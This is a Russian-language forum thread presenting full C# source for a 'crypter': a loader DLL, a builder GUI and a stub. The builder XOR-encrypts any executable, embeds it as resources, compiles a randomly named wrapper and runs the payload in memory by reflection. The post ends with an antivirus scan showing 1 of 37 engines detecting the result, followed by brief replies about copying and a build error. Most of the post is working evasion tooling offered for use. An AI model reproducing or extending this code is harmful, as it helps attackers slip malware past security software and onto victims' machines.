РЕКЛАМА НА ФОРУМЕ 

РЕКЛАМА НА ФОРУМЕ MultiVPN РЕКЛАМА НА ФОРУМЕ

Криптор Пишем криптор на C# (слив)

Сообщения
29
Реакции
4
Баллы
3
[0x01] Loader

Для начала напишем библиотеку которая и будет запускать наш файл

Открываем VS и создаем новый проект "Библиотека классов"

Пишем код нашей библиотеки
Код:
using System;
using System.Windows.Forms;
using System.Reflection;
using System.Text;
 
namespace BlackJack
{
    public class Load
    {
        public static void Whores(byte[] file, string key)
        {
            try
            {
                Assembly.Load(Decrypt(file, key)).EntryPoint.Invoke(null, null); // запускаем файл
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
        private static byte[] Decrypt(byte[] data, string pass) // декриптор
        {
            byte[] bytes = Encoding.UTF8.GetBytes(pass);
            int num = 0;
            for (int i = 0; i < data.Length; i++)
            {
                data[i] ^= bytes[num++];
                if (num == bytes.Length)
                {
                    num = 0;
                }
            }
            return data;
        }
    }
}
Компилируем проект и наша библа готова
[0x02] Builder

Добавляем новый проект

Выбираем WinForm и версию 4.5

Накидываем на форму нужные компоненты
Получилось примерно так


На загрузку формы поставил
Код:
tIcon.Enabled = false;
bIcon.Enabled = false;
А на обработку клика чекбокса иконки
Код:
tIcon.Enabled = cIcon.Checked;
 bIcon.Enabled = cIcon.Checked;
В Items комбобокса добавил
Код:
v2.0
v3.5
v4.0
На обработку кнопки выбора файла
Код:
using (var open = new OpenFileDialog())
            {
                open.Title = "Select file";
                open.Filter = ".exe|*.exe";
 
                if (open.ShowDialog() == DialogResult.OK)
                {
                    tFile.Text = open.FileName;
                }
            }
На обработку кнопки выбора иконки
Код:
using (var open = new OpenFileDialog())
            {
                open.Title = "Select icon";
                open.Filter = ".ico|*.ico";
 
                if (open.ShowDialog() == DialogResult.OK)
                {
                    tIcon.Text = open.FileName;
                }
            }

Добавим эти функции
Код:
static Random r = new Random();
        public static string RandomString(int Length)
        {
            string chars = "qwertzuiopasdfghjklyxcvbnmQWERTZUIOPASDFGHJKLYXCVBNM";
            string ret = chars[r.Next(10, chars.Length)].ToString();
            for (int i = 1; i < Length; i++)
                ret += chars[r.Next(chars.Length)];
            return ret;
        }
 
        public static byte[] Encrypt(byte[] data, string pass)
        {
            byte[] key = Encoding.UTF8.GetBytes(pass);
            int kind = 0;
            for (int i = 0; i < data.Length; i++)
            {
                data[i] = (byte)(data[i] ^ key[kind++]);
                if (kind == key.Length)
                    kind = 0;
            }
            return data;
        }
Функция RandomString будет генирировать рандомные символы
Функция Encrypt будет шифровать байты


Теперь создадим класс Compil
Он нужен будет для компиляции стаба


Добавим нужный код
Подробней можно почитать про CodeDom на офф сайте мелкомягких
Заострять на нем внимание смысла нет
Сложного там тоже ни чего нету
Код:
public static bool Compiler(string source,string saveFileName, string outVersion, string resource, string icon = null)
        {
            CompilerParameters compil = new CompilerParameters();
            compil.GenerateExecutable = true;
            compil.OutputAssembly = saveFileName;
 
            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
            if (icon != null)
                options += " /win32icon:\"" + icon + "\"";
 
            compil.CompilerOptions = options;
 
            compil.ReferencedAssemblies.Add("System.dll");
            compil.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            compil.EmbeddedResources.Add(resource);
 
            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
            ProviderOptions.Add("CompilerVersion", outVersion);
            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(compil, source);
 
            if (Results.Errors.Count > 0)
            {
                MessageBox.Show(string.Format("Имеются {0} ошибок",
                    Results.Errors.Count), "Ошибка компиляции", MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
 
                foreach (CompilerError Err in Results.Errors)
                {
                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
                        Err.Line, Err.Column, Err.FileName), "Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;
            }
            else
            {
                return true;
            }
        }
[0x03] Stub

Добавляем новый консольный проект под весрию 2.0

Ну и пишем наш стаб
Код:
using System;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Text;
using System.Windows.Forms;
 
namespace Whores
{
    class Program
    {
        private delegate object invoc(object inst, object[] arg);
        static void Main(string[] args)
        {
            ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath))); // читаем ресусры
            byte[] bLoad = (byte[])res.GetObject("[loaderName]"); // получаем лоадер
            byte[] arra = Decrypt(bLoad, "[keyEnc]"); // расшифровываем лоадер
            Assembly asm = Assembly.Load(arra); // загружаем лоадер
            MethodInfo mi = asm.GetType("BlackJack.Load").GetMethod("Whores"); // вписываем нужные класс и метод
            Delegate del = Delegate.CreateDelegate(typeof(invoc), mi, "Invoke");
            del.DynamicInvoke(new object[] // вызываем и передаем параметры
            {
                null,
                new object[]
                {
                    (byte[]) res.GetObject("[fileName]"),
                    "[keyEnc]"
                }
            });
        }
        private static byte[] Decrypt(byte[] data, string pass)
        {
            byte[] bytes = Encoding.UTF8.GetBytes(pass);
            int num = 0;
            for (int i = 0; i < data.Length; i++)
            {
                data[i] ^= bytes[num++];
                if (num == bytes.Length)
                {
                    num = 0;
                }
            }
            return data;
        }
    }
}
Со стабом все просто и понятно
Прокоментировал основные моменты
В стабе добавлены места по замены и прописаны класс и функция для вызова из лоадера

[0x04] Компиляция

Добавляем в ресурсы скомпилированную dll лоадера и наш стаб (я создал .txt документ и добавил туда код стаба)

Осталось добавить код для кнопки Crypt
Код:
if (tFile.Text != "")
            {
                using (var save = new SaveFileDialog())
                {
                    save.Title = "Save file";
                    save.Filter = ".exe|*.exe";
                    save.FileName = Helper.RandomString(5);
 
                    if (save.ShowDialog() == DialogResult.OK)
                    {
                        string source = Resources.Whores; // читаем стаб
                        string encKey = Helper.RandomString(15); // делаем ключ
                        byte[] file = Helper.Encrypt(File.ReadAllBytes(tFile.Text), encKey); // шифруем файл
                        byte[] load = Helper.Encrypt(Resources.BlackJack, encKey); // шифруем лоадер
 
                        string nameResource = Helper.RandomString(9); // генирируем имя для ресурсов
                        loaderName = Helper.RandomString(5); // генирируем имя для лоадера
                        fileName = Helper.RandomString(5); // генирируем имя для файла
                        ResourceWriter resource = new ResourceWriter(nameResource + ".resources"); // открываем запись в ресурс
                        resource.AddResource(fileName, file); // добавляем файл
                        resource.AddResource(loaderName, load); // добавляем лоадер
                        resource.Generate(); // сохраняем ресурс
                        resource.Close(); // закрываем запись
 
                        source =  // подставляем значение в стабе
                            source.Replace("[resName]", nameResource)
                                .Replace("[loaderName]", loaderName)
                                .Replace("[keyEnc]", encKey)
                                .Replace("[fileName]", fileName);
 
                        if (cIcon.Checked && tIcon.Text != "") // компиляция
                            comp = Compil.Compiler(source, save.FileName, cOutVersion.Text, Application.StartupPath + "\\" + nameResource + ".resources", tIcon.Text);
 
                        else if (!cIcon.Checked)
                            comp = Compil.Compiler(source, save.FileName, cOutVersion.Text, Application.StartupPath + "\\" + nameResource + ".resources");
 
                        if (comp)
                            MessageBox.Show("Done Ё-пта", "All good", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                }
            }
            else
            {
                MessageBox.Show("Selected file or icon", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
Добавим нужные переменные
Код:
private string fileName = "";
private string loaderName = "";
private bool comp;
[0x05] Test and Scan

Проверяем работоспособность и сканируем файлы


Файл: file498.exe
Тип:EXE
Время сканирования: 01-02-18 16:05:02
File info: Generic CIL Executable (.NET, Mono, etc.)
Статус: [ 1 ] / [ 37 ]

ESET NOD32 Antivirus [ Чисто ]
Windows Defender [ Чисто ]
G Data AntiVirus [ Чисто ]
Symantec Endpoint Protection [ Чисто ]
F-PROT Antivirus for Windows [ Чисто ]
Trend Micro Titanium IS [ Чисто ]
Sophos Anti-Virus [ Чисто ]
Emsisoft Anti-Malware [ Чисто ]
avast! Internet Security [ Чисто ]
Arcavir Antivirus 2014 [ Чисто ]
McAfee VirusScan Enterprise [ Чисто ]
Jiangmin Antivirus 2011 [ Чисто ]
Panda Global Protection 2014 [ Чисто ]
K7 UltimateSecurity [ Чисто ]
COMODO Internet Security [ Чисто ]
Ad-Aware Pro [ Чисто ]
AVG Anti-Virus [ Чисто ]
Avira Antivirus Suite Malware detected
Bitdefender Antivirus Plus [ Чисто ]
Kaspersky Anti-Virus [ Чисто ]
IKARUS anti.virus [ Чисто ]
VBA32 Anti-Virus [ Чисто ]
Total Defence Anti-Virus 2011 [ Чисто ]
F-Secure Internet Security 2014 [ Чисто ]
Twister Antivirus [ Чисто ]
Quick Heal Internet Security [ Чисто ]
Zillya! Internet Security [ Чисто ]
TrustPort Antivirus [ Чисто ]
eScan Antivirus [ Чисто ]
Outpost Antivirus Pro [ Чисто ]
Clam AntiVirus [ Чисто ]
AhnLab V3 Internet Security [ Чисто ]
Malwarebytes Anti-Malware [ Чисто ]
Nano Antivirus [ Чисто ]
SUPERAntiSpyware [ Чисто ]
McAfee Total Protection [ Чисто ]
VirIT eXplorer [ Чисто ]
Solo Antivirus [ Чисто ]
 

D108

Команда форума
Сообщения
362
Реакции
113
Баллы
58
Статья конечно довольно интересная,но это не слив а просто копипаст(это разные вещи)
И списана она от сюда
 
Сообщения
19
Реакции
1
Баллы
3
все, собралось, скомпилировалось, при попытке загрузить закриптованый файл выдает такую ошибку. В чем проблема?1.png
 
Сверху